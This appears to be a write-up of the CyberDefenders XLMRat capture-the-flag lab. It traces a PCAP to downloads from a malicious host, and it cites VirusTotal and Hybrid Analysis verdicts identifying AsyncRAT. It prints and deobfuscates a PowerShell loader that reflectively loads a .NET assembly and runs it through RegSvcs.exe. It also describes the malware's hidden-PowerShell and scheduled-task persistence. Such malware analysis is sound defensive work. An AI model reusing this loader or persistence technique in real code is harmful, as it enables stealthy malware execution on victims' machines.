



Reference: <https://cyberdefenders.org/blueteam-ctf-challenges/xlmrat/>

Download the PCAP from the above link



Download and unzip



PCAP file

A screenshot of a terminal window. The prompt is "saf-lx@saf-Ubuntu:~/Desktop/CyberDefenders/XLMRat\$". The user runs the command "ls", which lists two files: "236-XLMRat.pcap" and "236-XLMRat.pcap". The second file is highlighted with a red box. The terminal then displays the details of the file: "236-XLMRat.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 65535)".

Analyzing the PCAP file using tcpdump

A screenshot of a terminal window. The prompt is "saf-lx@saf-Ubuntu:~/Desktop/CyberDefenders/XLMRat\$". The user runs the command "tcpdump -ttt -r 236-XLMRat.pcap --count". The output shows "reading from file 236-XLMRat.pcap, link-type EN10MB (Ethernet), snapshot length 65535" and "1550 packets". The number "1550 packets" is highlighted with a yellow box.

```
saf-lx@saf-Ubuntu:~/Desktop/CyberDefenders/XLMRat$ tcpdump -ttt -r 236-XLMRat.pcap -c 5
reading from file 236-XLMRat.pcap, link-type EN10MB (Ethernet), snapshot length 65535
00:00:00.000000 IP 10.1.9.101.49708 > vm.45.126.209.4.ardentishost.com.222: Flags [S], seq 89508737, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0
00:00:00.294054 IP vm.45.126.209.4.ardentishost.com.222 > 10.1.9.101.49708: Flags [S.], seq 3992761548, ack 89508738, win 64240, options [nss 1460], length 0
00:00:00.000537 IP 10.1.9.101.49708 > vm.45.126.209.4.ardentishost.com.222: Flags [.], ack 1, win 65535, length 0
00:00:00.000550 IP 10.1.9.101.49708 > vm.45.126.209.4.ardentishost.com.222: Flags [P.], seq 1:304, ack 1, win 65535, length 303
00:00:00.000261 IP vm.45.126.209.4.ardentishost.com.222 > 10.1.9.101.49708: Flags [.], ack 304, win 64240, length 0
saf-lx@saf-Ubuntu:~/Desktop/CyberDefenders/XLMRat$
```

```
saf-lx@saf-Ubuntu:~/Desktop/CyberDefenders/XLMRat$ tcpdump -ttt -r 236-XLMRat.pcap -c 5 -n
reading from file 236-XLMRat.pcap, link-type EN10MB (Ethernet), snapshot length 65535
00:00:00.000000 IP 10.1.9.101.49708 > 45.126.209.4.222: Flags [S], seq 89508737, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0
00:00:00.294054 IP 45.126.209.4.222 > 10.1.9.101.49708: Flags [S.], seq 3992761548, ack 89508738, win 64240, options [mss 1460], length 0
00:00:00.000537 IP 10.1.9.101.49708 > 45.126.209.4.222: Flags [.], ack 1, win 65535, length 0
00:00:00.000550 IP 10.1.9.101.49708 > 45.126.209.4.222: Flags [P.], seq 1:304, ack 1, win 65535, length 303
00:00:00.000261 IP 45.126.209.4.222 > 10.1.9.101.49708: Flags [.], ack 304, win 64240, length 0
saf-lx@saf-Ubuntu:~/Desktop/CyberDefenders/XLMRat$
```

```
saf-lx@saf-Ubuntu:~/Desktop/CyberDefenders/XLMRat$ tcpdump -tttt -r 236-XLMRat.pcap -n | awk '{print $4}' | cut -d ":" -f 1-4 | sort | uniq -c | sort -nr
reading from file 236-XLMRat.pcap, link-type EN10MB (Ethernet), snapshot length 65535
972 45.126.209.4
577 10.1.9.101
1 10.1.9.1
saf-lx@saf-Ubuntu:~/Desktop/CyberDefenders/XLMRat$
```

Filtering out the source and destination IP addresses.

```
saf-lx@saf-Ubuntu:~/Desktop/CyberDefenders/XLMRat$ tcpdump -tttt -r 236-XLMRat.pcap -n src 10.1.9.101 and dst 45.126.209.4 -A -c 5
reading from file 236-XLMRat.pcap, link-type EN10MB (Ethernet), snapshot length 65535
2024-01-09 19:27:27.576077 IP 10.1.9.101.49708 > 45.126.209.4.222: Flags [S], seq 89508737, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0
E..@.....
. e-~....U.....F.....
2024-01-09 19:27:27.870668 IP 10.1.9.101.49708 > 45.126.209.4.222: Flags [.], ack 3992761549, win 65535, length 0
E..@.....
. e-~....U.....P...g?..
2024-01-09 19:27:27.871218 IP 10.1.9.101.49708 > 45.126.209.4.222: Flags [P.], seq 0:303, ack 1, win 65535, length 303
E..W..@.....
. e-~....U.....P.....GET /xlm.txt HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: 45.126.209.4:222
Connection: Keep-Alive

2024-01-09 19:27:28.141380 IP 10.1.9.101.49708 > 45.126.209.4.222: Flags [.], ack 2286, win 65535, length 0
E..@.....
. e-~....U.....P...]#..
2024-01-09 19:27:28.891861 IP 10.1.9.101.49709 > 45.126.209.4.222: Flags [S], seq 2869009528, win 64240, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0
E..@.....
. e-~....X.....W.....
saf-lx@saf-Ubuntu:~/Desktop/CyberDefenders/XLMRat$
```

Use the source and destination IP address and find the user agent and host.

The screenshot shows a network analysis interface. On the left, a summary card displays a 'Community Score' of 13/95, with a note that 13/95 security vendors flagged this IP address as malicious. Below this, there's a red box highlighting the IP address 45.126.209.4 (AS 23470, RELIABLESITE). The main area has tabs for DETECTION, DETAILS, RELATIONS, and COMMUNITY (with a count of 5). A green bar at the bottom encourages users to join the community. The 'Basic Properties' section lists the Network as 45.126.208.0/22, Autonomous System Number as 23470, and Autonomous System Label as RELIABLESITE. The 'Last HTTPS Certificate' section shows a JARM Fingerprint: 28d28d00028d00042d42d000000e1ea2a807a629b496b664cf07ad7c08d.

```

saf-lx@saf-Ubuntu:~/Desktop/CyberDefenders/XLMRat$ tcpdump -tttt -r 236-XLMRat.pcap -n src 10.1.9.101 and dst 45.126.209.4 -A
reading from file 236-XLMRat.pcap, link-type EN10MB (Ethernet), snapshot length 65535
saf-lx@saf-Ubuntu:~/Desktop/CyberDefenders/XLMRat$ tcpdump -tttt -r 236-XLMRat.pcap, link-type EN10MB (Ethernet), snapshot length 65535
2024-01-09 19:27:27.576077 IP 10.1.9.101.49708 > 45.126.209.4.222: Flags [S], seq 89508737, win 65535, options [mss 1460,nop,wscale 8,nop,nop]
E..@.....
:       e-~.....U.....F.....
2024-01-09 19:27:27.870668 IP 10.1.9.101.49708 > 45.126.209.4.222: Flags [.], ack 3992761549, win 65535, length 0
E..@....
:       e-~.....U.....P...g?..
2024-01-09 19:27:27.871218 IP 10.1.9.101.49708 > 45.126.209.4.222: Flags [P.], seq 0:303, ack 1, win 65535, length 303
E..W..Q...
:       e-~.....U.....P.....GET /xlm.txt HTTP/1.1
Accept: /*/
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4000.0; .NET4.0L)
Host: 45.126.209.4:222
Connection: Keep-Alive

2024-01-09 19:27:28.141380 IP 10.1.9.101.49708 > 45.126.209.4.222: Flags [.], ack 2286, win 65535, length 0
E..@.....
:       e-~.....U.....P...]#..
2024-01-09 19:27:28.891861 IP 10.1.9.101.49709 > 45.126.209.4.222: Flags [S], seq 2869009528, win 64240, options [mss 1460,nop,wscale 8,nop,nop]
E..@.....
:       e-~.....x.....W.....
2024-01-09 19:27:29.161047 IP 10.1.9.101.49709 > 45.126.209.4.222: Flags [.], ack 3178783360, win 64240, length 0
E..@.....
:       e-~.....y.xb.P...x..
2024-01-09 19:27:29.161640 IP 10.1.9.101.49709 > 45.126.209.4.222: Flags [P.], seq 0:73, ack 1, win 64240, length 73
E..q..Q...
:       e-~.....y.xb.P....p..GET /mdm.jpg HTTP/1.1
Accept: /.
Host: 45.126.209.4:222

```


This two GET request looks suspicious.

```


saf-lx@saf-Ubuntu:~/Desktop/CyberDefenders/XLMRat$ tcpdump -tttt -r 236-XLMRat.pcap -n src 10.1.9.101 and dst 45.126.209.4 -A | grep "GET"
reading from file 236-XLMRat.pcap, link-type EN10MB (Ethernet), snapshot length 65535
:       e-~.....U.....P.....GET /xlm.txt HTTP/1.1
:       e-~.....y.xb.P....p..GET /mdm.jpg HTTP/1.1
saf-lx@saf-Ubuntu:~/Desktop/CyberDefenders/XLMRat$ 

```

Download the file using wireshark.




After download analyze the file.




```
saf-lx@saf-Ubuntu: ~/Desktop/CyberDefenders/XLMRat$ ls  
236-XLMRat.pcap [REDACTED] mdm.jpg [REDACTED] xlm.txt  
saf-lx@saf-Ubuntu: ~/Desktop/CyberDefenders/XLMRat$
```

Analyze the hash.



```
saf-lx@saf-Ubuntu: ~/Desktop/CyberDefenders/XLMRat$ sha256sum mdm.jpg & sha256sum xlm.txt  
[1] 4513  
1e9c29d7af6011ca9d5609cb93b554965c61105a42df9fe0c36274e60db71b1d xlm.txt  
saf-lx@saf-Ubuntu: ~/Desktop/CyberDefenders/XLMRat$ 83babee77db36512c0eab8ea6b35e981aa4288a4095985d69b3841f8b684fe11 mdm.jpg
```

Hybrid analysis verdict



Analysis Overview

Submission name:	xlm.txt
Size:	19KB
Type:	script vbs
Mime:	text/plain
SHA256:	1e9c29d7af6011ca9d5609cb93b554965c61105a42df9fe0c36274e60db71b1d
Submitted At:	2024-01-09 16:06:52 (UTC)
Last Anti-Virus Scan:	2025-11-20 04:30:27 (UTC)
Last Sandbox Report:	2025-08-20 12:35:13 (UTC)

malicious
Threat Score: 100/100
AV Detection: 29%
Labeled As: Trojan.Generic

X Post D Link E-Mail

Community Score: 0 / 0

Anti-Virus Results

MetaDefender Multi Scan Analysis

Malicious (8/27)

HYBRID ANALYSIS

mdm.jpg

This report is generated from a file or URL submitted to this webservice on October 29th 2025 18:03:19 (UTC)
Guest System: Windows 11 64 bit, Professional, 10.0 (build 22629).
Report generated by Falcon Sandbox © Hybrid Analysis

Incident Response

MITRE ATT&CK™ Techniques Detection

This report has 108 indicators that were mapped to 60 attack techniques and 11 tactics. [View all details](#)

malicious
Trust Score: 100/100
AV Detection: 26%
Labeled as: Trojan-Generic

Overview | Sample unavailable | Copy | Downloads | External Reports | Re-analyze | Hash Not Seen Before | No similar samples | Report False-Positive | Request Report Deletion

Indicators

Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.

Virustotal verdict

Community Score: 28 / 62

28/62 security vendors flagged this file as malicious

1e9c29d7af6011ca9d5609cb93b554965c61105a42df9fe0c36274e60db71b1d
xlm.txt

Vba powershell checks-network-adapters malware detect-debug-environment run-file checks-cpu-name macro-powershell exe-pattern long-sleeps calls-wmi

Size: 1.93 KB Last Analysis Date: 29 days ago

Detection Details Relations Behavior Community 13

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to [automate checks](#).

Code insights

The code defines an array of strings (LZeWX) and then concatenates them into a single string (OodjR). It then uses the WScript.Shell object to execute a PowerShell command with the following options:
 -NOP: Do not display the PowerShell console window.
 -WIND HIDE: Hide the PowerShell console window.
 -ExeC BYPASS: Bypass the execution policy for running PowerShell scripts.
 -NONI: Do not display the PowerShell banner.
 The PowerShell command that is executed is:
 ...
 POWeRSHeLL.eXe -NOP -WIND HIDE -eXeC BYPASS -NONI OodjR
 ...
 The purpose of this code is to execute a PowerShell command with the specified options and the concatenated string (OodjR) as the command to be executed.

Show less

Community Score: 30 / 61 -12

30/61 security vendors flagged this file as malicious

83babee77db36512c0eb8ea6b35e981aa4288a4095985d69b3841fb684fe11
mdm.jpg

powershell detect-debug-environment exe-pattern enum-windows long-sleeps run-file

Size: 421.10 KB Last Analysis Date: 18 days ago

Detection Details Relations Behavior Community 13+

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to [automate checks](#).

Code insights

The script decodes two embedded hexadecimal strings into byte arrays. One byte array is then loaded into memory as a .NET assembly using reflection. A specific method within this in-memory assembly is subsequently invoked, and the other decoded byte array along with a path to a system executable is passed as arguments to this method.

The initial PowerShell code is written to a file named 'Conted.ps1' in the 'C:\Users\Public\' directory. A batch file named 'Conted.bat' is then created in the same directory. This batch file is configured to execute the 'Conted.ps1' script silently using PowerShell. A VBScript file named 'Conted.vbs' is also created in 'C:\Users\Public\'. This VBScript is designed to silently execute the 'Conted.bat' file.

Finally, a scheduled task named "Update Edge" is created. This task is configured to run 'Conted.vbs' every 2 minutes, starting immediately, ensuring persistent execution.

Show less

Analyze the mdm and xlm file.

```
saf-lx@saf-Ubuntu: ~/Desktop/CyberDefenders/XLMRat
saf-lx@saf-Ubuntu: ~/Desktop/CyberDefenders/XLMRat
saf-lx@saf-Ubuntu: ~/Desktop/CyberDefenders/XLMRat
saf-lx@saf-Ubuntu: ~/Desktop/CyberDefenders/XLMRat$ file mdm.jpg & file xlm.txt
[1] 5829
xlm.txt: ASCII text, with CRLF line terminators
saf-lx@saf-Ubuntu: ~/Desktop/CyberDefenders/XLMRat$ mdm.jpg: Unicode text, UTF-8 (with BOM) text, with very long lines (65514), with CRLF line terminators
```

Let's see what is inside the mdm.jpg. When we dig dive in to the mdm.jpg we find the script possibly obfuscated one with the super long characters which deviates from the normal flow. i.e

Investigate it in cyberchef.

It downloads the file. Let's analyze that file as well.

This shows the file windows.exe file with the magic bit MZ and 4D_5A.

If we download that file, we get the executable as download.exe

```
saf-lx@saf-Ubuntu: ~/Desktop/CyberDefenders/XLMRat
saf-lx@saf-Ubuntu: ~/Desktop/CyberDefenders/XLMRat$ ls
236-XLMRat.pcap download.dat download.exe mdm.jpg mdm.txt xlm.txt
saf-lx@saf-Ubuntu: ~/Desktop/CyberDefenders/XLMRat$ sha256sum download.exe
1eb7b02e18f67420f42b1d94e74f3b6289d92672a0fb1786c30c03d68e81d798  download.exe
saf-lx@saf-Ubuntu: ~/Desktop/CyberDefenders/XLMRat$
```

Verdict from the virustotal

The screenshot shows the VirusTotal analysis interface for the file 1eb7b02e18f67420f42b1d94e74f3b6289d52672a0fb1786c30c03d68e81d798. The file is identified as Stub.exe. The main summary card indicates a Community Score of 60/72, with a note that 60/72 security vendors flagged this file as malicious. Below the card, the file's SHA256 hash and name are listed, along with its file type (pe executable) and various detection tags: assembly, checks-cpu-name, calls-wmi, long-sleeps, detect-debug-environment, malware, and obfuscated. To the right, the file's size (65.00 KB), last analysis date (18 days ago), and a QR code icon are shown. A red box highlights the 'malicious' vendor flag. The navigation bar includes tabs for DETECTION, DETAILS, RELATIONS, BEHAVIOR, and COMMUNITY (14+). A green banner at the bottom encourages joining the community and automating checks. The 'Popular threat label' is trojan.asyncrat/msil, and the 'Threat categories' are trojan and dropper. The 'Family labels' are asyncrat, msil, and marte. The 'Security vendors' analysis' section lists findings from AhnLab-V3, AliCloud, Antiy-AVL, Arctic Wolf, Alibaba, ALYac, Arcabit, Avast, and various Backdoor, Rat, Trojan, and Malware entries. A red box highlights the 'Backdoor:MSIL/AsyncRat.a2786761' entry. A link to automate checks is also present.

Basic properties	
MD5	88e0ce71f454bc1fa6b3a7741a3bd7d
SHA-1	38a28b1c29bb916fa296e3d48e03df33a7fbead0
SHA-256	1eb7b02e18f67420f42b1d94e74f3b6289d92672a0fb1786c30c03d68e81d798
Vhash	26403655551108c321d104e
Authentihash	23d9fad79e00073d415cd33cce58710072d068995add9667e6f12d39ae784049
Impishash	f34d5f2d4577ed6d9teecc516c1f5a744
SSDEEP	1536:0x206lH9kGyrsqfhu2a/d97IUR6vU6aoM9EKKb4l1xgJK8nTRxx:o206lH9kSE8vU6aoM9EvbEpxgtlx
TLSH	T1B85319053BE8C01AE3BECF7468F6768445B9F56F2902D91D1C8501DB1672BC2AD42ABF
File type	Win32 EXE
Magic	PE executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
TriD	Generic CIL Executable (.NET, Mono, etc.) (67.7%) Win64 Executable (generic) (9.7%) Win32 Dynamic Link Library (generic) (6%) Win16 NE executable (generic) (4.6..)
DetectItEasy	PE32 Compiler: VB.NET Library:.NET (v4.0.30319) Linker: Microsoft Linker (8.0)
Magika	PEBIN
File size	65.00 KB (66560 bytes)
PEiD packer	.NET executable
History	
Creation Time	2023-10-30 15:08:44 UTC
First Seen In The Wild	2024-01-11 18:17:54 UTC
First Submission	2024-01-11 16:36:37 UTC
Last Submission	2025-12-14 22:07:59 UTC
Last Analysis	2025-11-27 08:41:15 UTC
Names	

If we dig deeper the mdm.jpg file, we can see more obfuscation like below:

```
Sleep 5
$HM = 'L#####
o#####
a#d' -replace '#', ''
$Fu = [Reflection.Assembly]:::$HM($pe)

$NK = $Fu.GetType('N#ew#PE#2.P#E'-replace '#', '')
$MZ = $NK.GetMethod(' Execute')
$NA = 'C:\W#####indow#####s\Mi###cr'-replace '#', ''
$AC = $NA + 'osof###t.NET\Fra###mework\v4.0.303##19\R##egSvc###s.exe'-replace '#', ''
$VA = @($AC, $NKbb)

$CM = 'In#####
vo#####
ke'-replace '#', ''
$EY = $MZ.$CM($null, [object[]] $VA)
```

Let's de-obfuscate it as:

Input

```
Sleep 5
$HM = 'L#####o#####a#d' -replace '#', ''
$Fu = [Reflection.Assembly]::$HM($pe)

$NK = $Fu.GetType('N#ew#PE#2.P#E'-replace '#', '')
$MZ = $NK.GetMethod('Execute')
$NA = 'C:\W#####indow#####s\Mi###cr'-replace '#', ''
$AC = $NA + 'osof####t.NET\Fra###mework\v4.0.303##19\R##egSvc####s.exe'-replace '#', ''
$VA = @($AC, $NKbb)

$CM = 'In#####vo#####ke'-replace '#', ''
$EY = $MZ.$CM($null, [object[]] $VA)
```

RBC 482 13

Output

```
Sleep 5
$HM = 'Load' -replace '', ''
$Fu = [Reflection.Assembly]::$HM($pe)

$NK = $Fu.GetType('NewPE2.PE'-replace '', '')
$MZ = $NK.GetMethod('Execute')
$NA = 'C:\Windows\Micr'-replace '', ''
$AC = $NA + 'osoft.NET\Framework\v4.0.30319\RegSvcs.exe'-replace '', ''
$VA = @($AC, $NKbb)

$CM = 'Invoke'-replace '', ''
$EY = $MZ.$CM($null, [object[]] $VA)
```

Seems like attacker uses LOLBin is leveraged for stealthy process execution in this script which is:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe